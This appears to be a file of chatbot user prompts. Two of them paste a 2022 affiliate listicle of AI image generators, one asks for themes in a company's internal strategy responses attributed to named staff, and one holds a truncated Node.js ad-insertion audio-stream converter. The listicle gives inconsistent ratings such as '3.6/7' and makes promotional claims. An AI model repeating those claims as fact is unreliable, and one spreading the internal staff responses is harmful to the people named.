tools that make it the perfect match for you. So in today’s post, we have hand-picked the best AI generators. \n\nWe understand that you might have a hard time believing us because of all the biased and fake reviews you have read till now. But do not worry, you are in safe hands now! \n\nSo without wasting any time, let’s get into the details!\n\nOur Top 6 Picks!\nIf you are in a hurry and do not have time to go through the entire article, here is a list of our top 6 favorite AI generators.\n\nAI Image Generator Best for \nJasper Art Best for creating images in different styles\nNightcafe Best for generating creative images \nDream by Wombo Best for beginners\nBigSleep Best for generating authentic images \nDeep AI Best for generating unique images \nDeep Dream Generator Best for creating realistic images\nList of 11+ Best AI Image Generators (2022)\nHere we will discuss the top 10 best AI image generators in-depth. Professionals and beginners most prefer these tools.\n\n1. Jasper Art\nRating 4.8/5\nEase Of Use 4.7/5\nJasper Art is the new feature of Jasper AI that they introduced in August 2022, and since then, it has been gaining a lot of popularity. This AI image generator can create images and art within a few seconds. It can turn your imagination in a few seconds.\n\nJasper-Art\nThe best part about Jasper Art is all the images you create with it are completely free of watermarks. The tool is still in the beta phase, where they are constantly working on improving its features. Now you can have the perfect image with your message. You no longer have to rely on stock images. We have also done a detailed Jasper Art review to explain it in detail.\n\nKey Features\n\nCreate unlimited unique images\nNo watermark on images\nDifferent styles available\nCreate images with a simple description\nCreates four images at once\nCosts $20/mo per user\n2. Starry AI\nRating 4.7/5\nEase of Use 4.8/5\nStarry AI is one of the best text-to-picture AI image generators available on the internet. Its unique granular tool enables you to create images with more personalization than other AI image generators. \n\nStarry AI has divided digital art generating into two sections to keep it super simple for its users. To create an image, you must enter your text and choose between Altair and Orion. \n\nBest AI Image Generator - StarryAi\nWhile Altair produces images that present abstractness, Orion creates pictures that depict fiction. The next step is choosing a style and setting a background for the pictures you make. \n\nKey Features \n\nMore than 16 styles \nEasy GAN AI art creation \nAspect ratios \nAllows complete ownership \nLatest updates available \nBeginner friendly \n3. Dream By Wombo\nRating 4.4/5\nEase of Use 4.8/5\nUnlike other AI image generators, Dream By Wombo offers unlimited image creation without any restrictions on its features and without any cost. This AI generator is the best option for people on a budget or students still in the learning process. \n\nDream By Wombo\nPlus, it is super simple to use Dream By Wombo. You must create your account, enter a text, and choose the style you want for your image. Once your picture is generated, you can save it or create another by selecting a different style. \n\nKey Features \n\nMobile friendly \nMultiple styles available \n100% ownership of generated images \nRecreate NFTs to enhance creativity \nHigh definition pictures \nEnables artwork to sell as NFTs\n4. Nightcafe\nRating 3.6/7\nEase of Use 4.7/8\nNightcafe is the ideal AI text-to-image generator to create authentic and creative images with simple words. You use the most basic English words to generate customized photos that will exactly depict what you want. \n\nIn addition, Nightcafe has several styles and creatives that are useful in generating versatile digital art. For example, the neural style transfer allows you to convert real-life photos into an artistic masterpiece. \n\nNightcafe\nWith its easy-to-use software, Nightcafe is ultimately beginner friendly. The appealing and convenient website interface allows anyone to create and enhance pictures within a single click. Moreover, every creation you make is saved permanently in your account, so you do not have to worry about separately storing it. \n\nKey Features \n\nDifferent style options \nCreate your own AI community \nEnables printing of high-quality creations\nLogo generator \nLow to the high resolution available \nStyle transfer\n5. Dall-E \nRating 4.5/5\nEase Of Use 4.3/5\nDall-E is a robust neural network that creates AI images from the simple English text. However, unlike other platforms, Dall-E is not directly open to all; to enter, you must register on the waitlist to use the platform soon. \n\nAlthough, the users eager to use the platform can experience its open version, i.e., Dall-E mini. The unique Ai technology of Dall-E mini surfs through captions present on the internet to match your words and from a precise depiction. \n\nDall-E \nThe best part about this AI image generator is you have to enter the text and click run. Dall-E mini will generate multiple options based on your text, and you can select the one you like the most. \n\nKey Features \n\nUnlimited images for free \nCombining polar concepts \nImage regeneration available \nDrawing multiple objects \n3D and visual perspective \nAnimal illustrations \n6. Pixray \nRating 4/5\nEase of Use 4.5/5\nPixray is a versatile text-to-image converter that works as an API, browser website, and PC application. Although Pixray has an elegant and straightforward interface, its inexplicable customizations and custom AI engine make it perfect for tech-savvy people. \n\nPixray \nWhile forming pictures . is a fun process with Pixray, its real potential comes in post-image creation when you head to settings. In the settings section,, you can transform your picture into different styles, convert them into video, edit them to be more creative, and maybe other available tools. \n\nKey Features\n\nPixel art generation\nGAN images \nLine-sketch images, \nFilter Images \nCustomize the quality of images \nFlexible integrations \nHigh-speed software \n7. Deep Dream Generator\nRating 3.8\nEase of Use 4.4/5\nDeep Dream Generator is known for its realistic and high-quality images. If you are looking for an AI image generator that creates pictures based on real-life Deep Dream Generator is the perfect match for you. \n\nDeep Dream Generator\nThe researchers at Google created it to provide everyone with easy and accessible image generating. So even if you do not have any experience, you can convert your words into a picture within seconds. This AI image generator’s specialty is making the photos look like they are from a different time or place. \n\nKey Features \n\nThree significant styles- Deep, Thin, and Deep Dream \nAnimal illustrations \nLandscapes and objects \nMultiple painting styles\nImage preview available \nDigital Analytics \n8. Deep AI\nRating 4.6/5\nEase of Use 4.1/5\nDeep AI is an exceptional AI image generator that aims to provide open source image creation to everyone. The Image Generator of Deep AI provides realistic images that maintain high resolution. \n\nDeep AI\nThe best part about Deep Ai is that you can create unlimited images, and none of them will match. It focuses on providing variety and diversity to its users. Moreover, you can customize the amount of detailing in every image, including textures and colors. \n\nKey Features \n\nResolution independent vector image \nStyleGAN \nBigGAN\nCartoonGAN\nImage colorization \nResponsive customer support \n9. BigSleep \nRating 4.4/5\nEase of Use 4.4/5\nBigSleep is one of the most preferred and renowned AI image generators in the market today. The reason is that BigSleep has robust software that generates life-like creations from scratch. \n\nBigSleep \nEven though BigSleep creates superior quality pictures, it has a highly easy-to-use platform that provides all the necessary features to assemble, edit and store your images safely. Moreover, BigSleep has a Python-based program that ensures the software’s speed and smooth running. \n\nKey Features \n\nGenerative adversarial network-based \nHigh-resolution image going up to 1024×1024\nDiscriminator tool \nOpen source \nDiversified image patterns \nBeginner friendly \n10. Artbreeder\nRating 4.5/5\nEase of Use 4.6/5\nArtbreeder is a unique AI image generator that uses a combination of pictures to form a single image. You can generate new, unique, and completely authentic images using the existing photos in your gallery with the help of Artbreeder.\n\nArtbreeder\nYou can get thousands of different and vivid art illustrations with a safe place to store them in your Artbreeder account. Moreover, the user interface of ArtBreed is super simple, making the website easy to navigate for beginners and professional graphic designers. \n\nKey Features \n\nDownload images in JPG or PNG\nOriginal photos in various styles and categories\nHigh resolution \nTransparent background \nBigGAN \nStyleGAN\nImage editing available \n11. Fotor AI Image Generator\nRating 4.5/5\nEase Of Use 4.4/5\nFotor is an amazing photo editing app that is used by millions all over the world. They recently launched their AI Image generator, and unlike other AI Image Generators, theirs is completely free of cost. It is also super easy to use.\n\nFotor AI Image Generator\nJust enter the text prompt in the box and hit the generate button, and watch it bring that text to life in just a few seconds. You can use Fotor’s AI Image Generator to create anime characters, realistic images, paintings, 3D images, and so on. It is the best option for beginners and advanced users alike.\n\nKey Features\n\nFind amazing prompts in their featured gallery\nGenerate up to 10 free images daily\nImage-to-image conversion model is also available\nGenerate images in just a few seconds\nNo limit on the text description\nCreate multiple images at once\nOther AI Tools:\n\nBest AI Writing Software\nBest AI Marketing Tools\nBest AI Sales Software\nWrapping Up! On Best AI Image Generator (2022)\nAn AI image generator can turn your thoughts into a digital painting with all the customization you want. However, some AI image generators are expensive, while others might not have what you are looking for. \n\nThat is why you must do your research thoroughly before investing in any AI image generator. If you have difficulty choosing a tool, go through all these features and see if it fits into your budget. Once you see that the AI image generator has everything you need, go for it. \n\nWe hope this article helped you select the best AI generator for you. Over to you, which is the best AI generator you? Let us know in the comments section below!\n\nFAQs\nWhich AI image generator is best for people with no experience in designing?\nAn AI image generator is supposed to convert your words into images. However, you know much about image formation and cannot perfectly edit your photos. In that case, you must try using Deep Dream Generator to create realistic and high-quality images. \n\nAre AI image generators a threat to existing artists?\nAlthough AI has been developing fast, the AI image generator cannot match the precision of an artist yet. \n\nWhich is the best free AI image generator?\nIf you are looking for an AI image generator to create good quality images without restrictions on features or picture quantity, Dream by Wombo is the ideal tool. \n\nAbout The Author\n\nShubham Singh\nHi there, I\'m brushing up on SEO and Affiliate Marketing. Kinda full-time dealing with websites, rankings, content, and all. On DemandSage, I\'m leading the content and SEO team.\nLeave a Comment\nYour email address will not be published. Required fields are marked \\*\nType here..\nType here..\nName\\*\nName\\*\nEmail\\*\nEmail\\*\nWebsite\nWebsite\n Save my name, email, and website in this browser for the next time I comment.\n\nScroll to Top"' -'please review this set of responses to the question "what are the value plays we should focus on" and look for common themes in the responses. Present these in a table format with a short name, description, and identify all individuals who made reference to this theme in their response\n\n1. Supplied\n 1. Acquire and Develop Talent capable of delivering Platform vision\n 2. Modernized internal stack capable of meeting the needs of a cloud-first business\n 3. Best in class investor management through transformation process, as we delicately manage the growth of platform offerings in a way that doesn\'t negatively impact our valuation in the long term\n 4. Decreasing our capital intensity through operating efficiencies driven by technology and automation \n 5. Developing a suite of digital platform solutions from solving cloud issues to digital transformations \n 6. Building a partner ecosystem to expand and support our offerings\n 7. Solving go-to-market, legal, and financial compliance challenges related to operating a platform business internationally\n \n2. Brandi\n · …Modernized internal stack capable of meeting the needs of a cloud-first business.\n · Evolve culture to accelerate delivery of platform vision\n · Acquire and develop talent fit for platform vision\n \n3. Bruce\n · Be public about a quantifiable aspiration/goal to fuel urgency (e.g. Interconnection revenue or yield)\n · Get org rallied around a shared vision and then be very targeted in culture change (e.g. agile) and skills change needed in specific pockets of the org to deliver digital transformation. Ie. We need everyone to understand our vision, but we can be targeted on the where need new skills/capabilities\n · Enhance our local market and customer listening to drive innovation, using customer base for rapid beta testing or prototypes.\n \n4. Charles\n 1. IBX Footprint\n 2. Service Offerings\n a. Colo\n b. Mgd Services\n c. Edge Infra (Network Edge and Colo by the U)\n d. Cloud Networking\n 3. Digital Experience (likely starts as somewhat parallel experiences for DCS vs DS offerings but implies a merged experience over time)\n a. Process\n b. Systems\n 4. Ecosystem Enablement (huge area of opportunity and under-investment)\n a. APIs\n b. SDKs (that’s all the acronyms I know but I’m pretty sure we have a lot of work to do)\n 5. Customers – need to define target personas and align GTM motions to specific customer/persona combinations\n 6. Ecosystem Development\n a. JPS/”integrated”\n b. Self-serve (use self-serve tools to bring your offering to the Platform)\n c. Communities of Interest/Vertical Ecosystems (BD to cultivate)\n 7. Marketplace (what we need, not what we have now)\n\n \n \n5. Jon\n · Modernized quote-to-cash stack that allows for low/no-touch customer acquisition and onboarding, and global billing capabilities.\n · Having clear, measurable ROIC for digital services with clear cost structures by product line.\n · Building integrated partner offerings that allow partners to package/sell/support our offerings with low/no-touch for Equinix.\n · Creating clear BU and product-level P&L reporting, inclusive of capex and opex.\n · Having the clear ability to calculate LTV/CAC by product.\n \n6. Justin\n · Investing in a modern API-first technology stack to be able to effectively leverage developer ecosystems to (1) co-drive disruptive, agile innovation; (2) create new business models; (3) enable seamless API-based technology partner integration; and (4) reduce channel friction.\n · Continuing to improve Equinix’s visibility and credibility in developer ecosystems to attract world-class talent capable of delivering on our Platform vision.\n · Investing in an innovation incubator with dedicated engineering resources, and frameworks in place to engage and co-innovate with external developers and startups with agility, to boost innovation (radical innovation, adjacent innovation, or core innovation), supported by an accelerated incubation model.\n \n7. Karl\n · …seriously vet and conclude on inorganic options to accelerate our capability set to deliver the suite of services required. (Contemplates the addition of talent, tech, and product needed to accelerate)\n · …successfully launch AND scale Joint partner solutions that prove we are indeed the home of the dedicated cloud and can offer solutions via partners at scale.\n · …neutralize the complexity of workload tiering and demand shaping by having both retail and wholesale solutions to large and performance based deployments.\n \n \n8. Keith\n · Developing a platform on Equinix DCS assets, and potentially extending these services to other non-Equinix assets.\n · Potentially acquiring talent or service capabilities and integrating onto the Equinix Platform.\n · Merging our business into an existing business and integrating onto the Equinix Platform.\n · Exclusively expand our GTM partnerships with a number of critical providers that imbeds our service offering into their solution.\n \n9. Kurt\n · …Honestly, I think the above list is a really good list. I am struggling to add anything to it. \n · If I had to, I would say we need a capability of coming to agreement more quickly on complex issues impacting our delivery and development of services. We are currently wrestling with issues that we have known for year. Channel complications (same ones) have been on the table for years, tax structure has been on the table for years and we actually built a tax structure no one is using a while back, we have known about billing issues since we bought packet, etc. The problem is, as soon as folks hear “hard problem” they retreat and we don’t move. To date, we have really struggled to resolve these issues quickly enough and with certainty for a time. I would never say we need decisions that last forever as we need to be agile, but the word I hear a lot on the street is the team is “Whipsawed.” It feels like folks run to work on something based on an agreement and then it changes a few months out, not usually with a discussion. \n · With that said, the list above actually sounds great to me. We need the right talent, working on the right stuff, for the right customers, and the story will tell itself.\n \n10. Mike\n · Acquire and Develop Talent capable of delivering our Platform vision.\n · Build a partner ecosystem to expand and support our offerings.\n · Begin to market ourselves as a company that provides a lot more than colocation services to different personas than we market to today.\n · Find a way to use xScale facilities to help with our Retail and Digital space constraints.\n \n11. Milind\n\n12. Nicole \n· People/Workforce/Brand:\n · Specific declaration on future state vision (internally). Take any guesses or confusion off the table immediately and ensure all functions are clear on how they play a role in that vision. \n · T&A to drive talent into the workforce that has experience suited for our vision (less telco, more software, service provider, etc..). \n · Marketing driving significant brand shift externally to ensure customers see us as a platform company. We are moving away from data center only branding. (This likely requires a CMO strategy) \n · Drive more accountability with our GLO population to lead from the front and be transformational leaders. Communicate often, effectively, and more intimately with this group so they are 100% clear on the strategy and role they play in the transformation. Have courage to take swift action if leaders can’t make the turn. This group of leaders will make or break us future state. \n· Growth and Bookings: \n · Global salesforce enabled and delivering balanced performance and growth targets across the product portfolio. \n · Internal functions working towards common vision and solving problems in partnership and at pace. \n · Specific and strategic synergy plans formally in place across critical enterprise partnerships (Dell, VMW, HPE)\n · Sustainability efforts clearly defined, articulated, and structured goaling for internal leadership in place. \n · Product clarity in digital space. What products, to what market, etc.. Keep this simple so sales can accelerate the strategy. Complexity will slow our pace. \n \n· Systems/Tools/Processes\n · Modernize our internal stack to be able to provide a customer experience needed for digital scale. Be progressive and aggressive in our IT shift. Don’t always think about “build” motions, also look at “buy” motions to implement with speed. \n · Data Transformation strategy in place (as part of our overall digital transformation strategy) in place to ensure Network Transformation, MDM/Analytics, etc, have structured execution dates (with timelines) and are scaling to enable faster decisions with more data driven insights. \n · Real time capacity management tools that help us balance DCS and DS needs by data center (I am not sure how mature these are today, and am assuming we will need advancement here). \n · API mandatory for all new builds. Basically, no more in house building that aren’t API enabled. \n\n \n13. PVC\n · …If I accurately understand the list, 1, 2, 5, and 6 are areas I’d apply energy….. 3, 4, and 7 will draw effort, but should naturally occur as we progress in the others. \n \n14. Raouf\n · …The right talent to build the products and scale the “wrapper” service model. \n · Modernized systems to support DS but also Enterprise support ready. \n · Network/DS architecture to scale and have the right unto cost. Truly support on demand growth and ramp for customers. \n · Solve go to market approach for combined customers from contracting, ordering and billing to support. \n \n15. Ryan\n 1. Acquire and develop talent capable of delivering Platform vision.\n 2. Overhaul internal systems and processes to enable efficiency and improved experience for customers and front-line employees. \n 3. Instill agility into culture and processes. \n \n16. Scott\n · It is hard to improve upon the ones listed, but I\'d change the last to read:\n · Creating a highly competitive transactional, legal, and financial operating model necessary for the on-demand SaaS/cloud market\n · And I\'d add:\n · Build the optimal platform to capture cloud-adjacent workloads and data. "Platform" is inclusive of our offerings and integrated offerings from ecosystem partners.' -'in this text "Skip to content\ndemandsage\nHome\nLatest\nReports\nBlog\nContact\n11+ Best AI Image Generators For Creators In 2022\nBy Shubham Singh / November 26, 2022\nBest AI Image Generators - DemandSage\nIt is rightly said that a picture can be worth a thousand words. In today’s digital world, you can paint a picture without picking up a brush. With our best AI image generators list, you can turn your words into mesmerizing images within a click!\n\nAI image generators are a boon for graphic designers, especially beginners still struggling to find ideas and inspiration for their projects. AI image generators eliminate the risk of copyright, meaning anyone can create personalized pictures without prior digital art experience. \n\nBest AI Image Generator — Jasper Art\n\nOur #1 pick for an AI Image generator is Jasper Art.🎯\nCreate unique and watermark-free images on Jasper Art.🔥\n\nGet Started With Jasper Art\n\nHowever, it is essential to find out which AI image generator can offer all the necessary features and tools that make it the perfect match for you. So in today’s post, we have hand-picked the best AI generators. \n\nWe understand that you might have a hard time believing us because of all the biased and fake reviews you have read till now. But do not worry, you are in safe hands now! \n\nSo without wasting any time, let’s get into the details!\n\nOur Top 6 Picks!\nIf you are in a hurry and do not have time to go through the entire article, here is a list of our top 6 favorite AI generators.\n\nAI Image Generator Best for \nJasper Art Best for creating images in different styles\nNightcafe Best for generating creative images \nDream by Wombo Best for beginners\nBigSleep Best for generating authentic images \nDeep AI Best for generating unique images \nDeep Dream Generator Best for creating realistic images\nList of 11+ Best AI Image Generators (2022)\nHere we will discuss the top 10 best AI image generators in-depth. Professionals and beginners most prefer these tools.\n\n1. Jasper Art\nRating 4.8/5\nEase Of Use 4.7/5\nJasper Art is the new feature of Jasper AI that they introduced in August 2022, and since then, it has been gaining a lot of popularity. This AI image generator can create images and art within a few seconds. It can turn your imagination in a few seconds.\n\nJasper-Art\nThe best part about Jasper Art is all the images you create with it are completely free of watermarks. The tool is still in the beta phase, where they are constantly working on improving its features. Now you can have the perfect image with your message. You no longer have to rely on stock images. We have also done a detailed Jasper Art review to explain it in detail.\n\nKey Features\n\nCreate unlimited unique images\nNo watermark on images\nDifferent styles available\nCreate images with a simple description\nCreates four images at once\nCosts $20/mo per user\n2. Starry AI\nRating 4.7/5\nEase of Use 4.8/5\nStarry AI is one of the best text-to-picture AI image generators available on the internet. Its unique granular tool enables you to create images with more personalization than other AI image generators. \n\nStarry AI has divided digital art generating into two sections to keep it super simple for its users. To create an image, you must enter your text and choose between Altair and Orion. \n\nBest AI Image Generator - StarryAi\nWhile Altair produces images that present abstractness, Orion creates pictures that depict fiction. The next step is choosing a style and setting a background for the pictures you make. \n\nKey Features \n\nMore than 16 styles \nEasy GAN AI art creation \nAspect ratios \nAllows complete ownership \nLatest updates available \nBeginner friendly \n3. Dream By Wombo\nRating 4.4/5\nEase of Use 4.8/5\nUnlike other AI image generators, Dream By Wombo offers unlimited image creation without any restrictions on its features and without any cost. This AI generator is the best option for people on a budget or students still in the learning process. \n\nDream By Wombo\nPlus, it is super simple to use Dream By Wombo. You must create your account, enter a text, and choose the style you want for your image. Once your picture is generated, you can save it or create another by selecting a different style. \n\nKey Features \n\nMobile friendly \nMultiple styles available \n100% ownership of generated images \nRecreate NFTs to enhance creativity \nHigh definition pictures \nEnables artwork to sell as NFTs\n4. Nightcafe\nRating 3.6/7\nEase of Use 4.7/8\nNightcafe is the ideal AI text-to-image generator to create authentic and creative images with simple words. You use the most basic English words to generate customized photos that will exactly depict what you want. \n\nIn addition, Nightcafe has several styles and creatives that are useful in generating versatile digital art. For example, the neural style transfer allows you to convert real-life photos into an artistic masterpiece. \n\nNightcafe\nWith its easy-to-use software, Nightcafe is ultimately beginner friendly. The appealing and convenient website interface allows anyone to create and enhance pictures within a single click. Moreover, every creation you make is saved permanently in your account, so you do not have to worry about separately storing it. \n\nKey Features \n\nDifferent style options \nCreate your own AI community \nEnables printing of high-quality creations\nLogo generator \nLow to the high resolution available \nStyle transfer\n5. Dall-E \nRating 4.5/5\nEase Of Use 4.3/5\nDall-E is a robust neural network that creates AI images from the simple English text. However, unlike other platforms, Dall-E is not directly open to all; to enter, you must register on the waitlist to use the platform soon. \n\nAlthough, the users eager to use the platform can experience its open version, i.e., Dall-E mini. The unique Ai technology of Dall-E mini surfs through captions present on the internet to match your words and from a precise depiction. \n\nDall-E \nThe best part about this AI image generator is you have to enter the text and click run. Dall-E mini will generate multiple options based on your text, and you can select the one you like the most. \n\nKey Features \n\nUnlimited images for free \nCombining polar concepts \nImage regeneration available \nDrawing multiple objects \n3D and visual perspective \nAnimal illustrations \n6. Pixray \nRating 4/5\nEase of Use 4.5/5\nPixray is a versatile text-to-image converter that works as an API, browser website, and PC application. Although Pixray has an elegant and straightforward interface, its inexplicable customizations and custom AI engine make it perfect for tech-savvy people. \n\nPixray \nWhile forming pictures . is a fun process with Pixray, its real potential comes in post-image creation when you head to settings. In the settings section,, you can transform your picture into different styles, convert them into video, edit them to be more creative, and maybe other available tools. \n\nKey Features\n\nPixel art generation\nGAN images \nLine-sketch images, \nFilter Images \nCustomize the quality of images \nFlexible integrations \nHigh-speed software \n7. Deep Dream Generator\nRating 3.8\nEase of Use 4.4/5\nDeep Dream Generator is known for its realistic and high-quality images. If you are looking for an AI image generator that creates pictures based on real-life Deep Dream Generator is the perfect match for you. \n\nDeep Dream Generator\nThe researchers at Google created it to provide everyone with easy and accessible image generating. So even if you do not have any experience, you can convert your words into a picture within seconds. This AI image generator’s specialty is making the photos look like they are from a different time or place. \n\nKey Features \n\nThree significant styles- Deep, Thin, and Deep Dream \nAnimal illustrations \nLandscapes and objects \nMultiple painting styles\nImage preview available \nDigital Analytics \n8. Deep AI\nRating 4.6/5\nEase of Use 4.1/5\nDeep AI is an exceptional AI image generator that aims to provide open source image creation to everyone. The Image Generator of Deep AI provides realistic images that maintain high resolution. \n\nDeep AI\nThe best part about Deep Ai is that you can create unlimited images, and none of them will match. It focuses on providing variety and diversity to its users. Moreover, you can customize the amount of detailing in every image, including textures and colors. \n\nKey Features \n\nResolution independent vector image \nStyleGAN \nBigGAN\nCartoonGAN\nImage colorization \nResponsive customer support \n9. BigSleep \nRating 4.4/5\nEase of Use 4.4/5\nBigSleep is one of the most preferred and renowned AI image generators in the market today. The reason is that BigSleep has robust software that generates life-like creations from scratch. \n\nBigSleep \nEven though BigSleep creates superior quality pictures, it has a highly easy-to-use platform that provides all the necessary features to assemble, edit and store your images safely. Moreover, BigSleep has a Python-based program that ensures the software’s speed and smooth running. \n\nKey Features \n\nGenerative adversarial network-based \nHigh-resolution image going up to 1024×1024\nDiscriminator tool \nOpen source \nDiversified image patterns \nBeginner friendly \n10. Artbreeder\nRating 4.5/5\nEase of Use 4.6/5\nArtbreeder is a unique AI image generator that uses a combination of pictures to form a single image. You can generate new, unique, and completely authentic images using the existing photos in your gallery with the help of Artbreeder.\n\nArtbreeder\nYou can get thousands of different and vivid art illustrations with a safe place to store them in your Artbreeder account. Moreover, the user interface of ArtBreed is super simple, making the website easy to navigate for beginners and professional graphic designers. \n\nKey Features \n\nDownload images in JPG or PNG\nOriginal photos in various styles and categories\nHigh resolution \nTransparent background \nBigGAN \nStyleGAN\nImage editing available \n11. Fotor AI Image Generator\nRating 4.5/5\nEase Of Use 4.4/5\nFotor is an amazing photo editing app that is used by millions all over the world. They recently launched their AI Image generator, and unlike other AI Image Generators, theirs is completely free of cost. It is also super easy to use.\n\nFotor AI Image Generator\nJust enter the text prompt in the box and hit the generate button, and watch it bring that text to life in just a few seconds. You can use Fotor’s AI Image Generator to create anime characters, realistic images, paintings, 3D images, and so on. It is the best option for beginners and advanced users alike.\n\nKey Features\n\nFind amazing prompts in their featured gallery\nGenerate up to 10 free images daily\nImage-to-image conversion model is also available\nGenerate images in just a few seconds\nNo limit on the text description\nCreate multiple images at once\nOther AI Tools:\n\nBest AI Writing Software\nBest AI Marketing Tools\nBest AI Sales Software\nWrapping Up! On Best AI Image Generator (2022)\nAn AI image generator can turn your thoughts into a digital painting with all the customization you want. However, some AI image generators are expensive, while others might not have what you are looking for. \n\nThat is why you must do your research thoroughly before investing in any AI image generator. If you have difficulty choosing a tool, go through all these features and see if it fits into your budget. Once you see that the AI image generator has everything you need, go for it. \n\nWe hope this article helped you select the best AI generator for you. Over to you, which is the best AI generator you? Let us know in the comments section below!\n\nFAQs\nWhich AI image generator is best for people with no experience in designing?\nAn AI image generator is supposed to convert your words into images. However, you know much about image formation and cannot perfectly edit your photos. In that case, you must try using Deep Dream Generator to create realistic and high-quality images. \n\nAre AI image generators a threat to existing artists?\nAlthough AI has been developing fast, the AI image generator cannot match the precision of an artist yet. \n\nWhich is the best free AI image generator?\nIf you are looking for an AI image generator to create good quality images without restrictions on features or picture quantity, Dream by Wombo is the ideal tool. \n\nAbout The Author\n\nShubham Singh\nHi there, I\'m brushing up on SEO and Affiliate Marketing. Kinda full-time dealing with websites, rankings, content, and all. On DemandSage, I\'m leading the content and SEO team.\nLeave a Comment\nYour email address will not be published. Required fields are marked \\*\nType here..\nType here..\nName\\*\nName\\*\nEmail\\*\nEmail\\*\nWebsite\nWebsite\n Save my name, email, and website in this browser for the next time I comment.\n\nScroll to Top" what is the list of 11 AI image generators and in one sentence what are they best at?' -'const url = require(\'url\')\nconst ffmpeg = require(\'fluent-ffmpeg\')\nconst icy = require(\'icy\')\nconst fs = require(\'fs\')\nconst { promisify } = require(\'util\')\n// eslint-disable-next-line n/no-deprecated-api\nconst existsAsync = promisify(fs.exists)\nconst path = require(\'path\')\n\nconst { createStream, sleep } = require(\'./utils\')\nconst log = require(\'./logger\')\n\n/\\*\\*\n \\* Converting a input audio-stream into another format.\n \\* E.g. MP3 into HLS\n \\*/\nclass AudioConverter {\n /\\*\\*\n \\* AudioConverter constructor\n \\*\n \\* @param {object} config\n \\* @param {string} config.sourceStreamUrl - URL of the source stream\n \\* @param {string} config.sourceStreamOffset - time in ms to delay the stream to insert ads later than signaled\n \\* @param {string} config.adBreakKeyword - If this string is detected in the metadata ad start is considered\n \\* @param {string} config.adBreakDurationRegex - Regex to parse the duration of the ad-break\n \\* @param {string} config.authHeader - Authorization header to request the source stream\n \\* @param {string} config.icyMetadata - 1 to enable metadata/ 0 to diable metadata (Default: 0)\n \\* @param {string} config.icyMetaInt - Interval in bits between the mp3-stream metadata blocks (Default: 16000)\n \\*/\n constructor ({\n sourceStreamUrl,\n sourceStreamOffset = 0,\n adBreakKeyword = \'WERBUNG\',\n adBreakDurationRegex,\n authHeader,\n icyMetadata = 1,\n icyMetaInt = 16000,\n interval,\n hlsSegmentLength = 5\n }) {\n this.sourceStreamUrl = sourceStreamUrl\n this.sourceStreamOffset = Number(sourceStreamOffset)\n this.adBreakKeyword = adBreakKeyword\n this.adBreakDurationRegex = adBreakDurationRegex\n this.authHeader = authHeader\n this.icyMetadata = icyMetadata\n this.icyMetaInt = icyMetaInt\n this.interval = Number(interval)\n this.hlsSegmentLength = Number(hlsSegmentLength)\n\n this.channels = [\n createStream(),\n createStream()\n ]\n this.streamRunning = 0\n this.ffmpegInstances = []\n this.adStartMediaSequenceNumber = 0\n this.durationOfNextAdBreak = null\n this.insideAdBreak = false\n this.initialState = true\n this.bootWaitCycles = 0\n }\n\n /\\*\\*\n \\* Initialisation of convertion process\n \\*/\n async init () {\n try {\n this.startScan(0)\n await this.waitUntilConverterIsRunning()\n } catch (e) {\n e.message = \'Cannot initalize scanning process: \' + e.message\n throw e\n }\n }\n\n /\\*\\*\n \\* Wait until the first HLS files arrive as convertion result\n \\* This is the prerequisite to start the web-server\n \\*/\n async waitUntilConverterIsRunning () {\n try {\n const master = await existsAsync(path.join(\\_\\_dirname, \'../out/master.m3u8\'))\n const playlist = await existsAsync(path.join(\\_\\_dirname, \'../out/playlist.m3u8\'))\n if (!master || !playlist) throw new Error(\'No playlist or master manifest available\')\n } catch (e) {\n if (this.bootWaitCycles > 60) throw new Error(\'Cannot start converter. After 60 Seconds still no output is generated: \' + e.message)\n this.bootWaitCycles++\n log.debug(\'Transcoding process not yet running. Retry in 1 sec. (boot wait cycle: \' + this.bootWaitCycles + \')\')\n await sleep(1000)\n await this.waitUntilConverterIsRunning()\n }\n }\n\n /\\*\\*\n \\* Constantly check if the source stream plays content or ads\n \\*/\n startScan (channel = 0) {\n log.info(\'Start Scanning Source Stream: \' + this.sourceStreamUrl)\n\n try {\n // eslint-disable-next-line n/no-deprecated-api\n const requestOptions = url.parse(this.sourceStreamUrl)\n requestOptions.headers = {\n \'Icy-MetaData\': this.icyMetadata && String(this.icyMetadata),\n \'Icy-MetaInt\': this.icyMetaInt && String(this.icyMetaInt)\n }\n if (this.authHeader) requestOptions.headers.Authorization = this.authHeader\n\n icy.get(requestOptions, this.sourceStreamProcessing.bind(this))\n } catch (e) {\n e.message = \'Cannot scan source stream: \' + e.message\n throw e\n }\n }\n\n /\\*\\*\n \\* Process the source stream response\n \\*\n \\* @param {object} response\n \\*/\n sourceStreamProcessing (response) {\n log.info(\'Start stream\')\n log.debug(\'Source Stream Response: \\n Status: \' + response.res.statusCode + \' \' + response.res.statusMessage + \'\\n Headers: \' + JSON.stringify(response.res.headers) + \'\\n \')\n\n if (this.interval) {\n // If we automatically insert every X seconds we do not need to parse the metadata\n response.on(\'metadata\', () => { })\n setInterval(() => {\n if (!this.insideAdBreak) {\n this.durationOfNextAdBreak = this.interval\n this.insideAdBreak = true\n } else {\n this.insideAdBreak = false\n }\n this.switchStream()\n }, this.interval \\* 1000)\n } else response.on(\'metadata\', this.parseMetadata.bind(this))\n\n response.on(\'data\', this.processData.bind(this))\n response.on(\'error\', this.handleError.bind(this))\n\n this.initFfmpeg.bind(this)()\n }\n\n /\\*\\*\n \\* Parse the stream metadata\n \\*\n \\* @param {Buffer} metadata\n \\*/\n parseMetadata (metadata) {\n try {\n const parsed = icy.parse(metadata)\n console.log(parsed)\n const streamName = parsed.StreamTitle\n console.log(streamName)\n log.info(\'Got (initial or changed) Source Stream Metadata: \' + JSON.stringify(parsed))\n\n if (streamName.includes(this.adBreakKeyword)) {\n log.info(\'Detected Ad-Marker\')\n const duration = this.parseDuration(streamName)\n log.info(\'Detected Ad-Break Duration: \' + duration)\n this.durationOfNextAdBreak = duration\n this.insideAdBreak = true\n this.switchStream()\n } else {\n this.insideAdBreak = false\n if (this.initialState) this.initialState = false\n else this.switchStream()\n }\n } catch (e) {\n e.message = \'Cannot parse metadata: \' + e.message\n console.error(e)\n }\n }\n\n /\\*\\*\n \\* Parse the ad-break duration from the source stream metadata\n \\*\n \\* @param {string} input - Metadata String to parse\n \\* @returns {number} duration - duration in seconds\n \\*/\n parseDuration (input) {\n try {\n const regexString = this.adBreakDurationRegex\n const regex = new RegExp(regexString || /(\\d\\*(?:\\.\\d+)?)$/, \'g\')\n const parsingResult = regex.exec(input)\n const duration = Number(parsingResult && parsingResult[0])\n if (!duration) throw new Error(\'Cannot extract 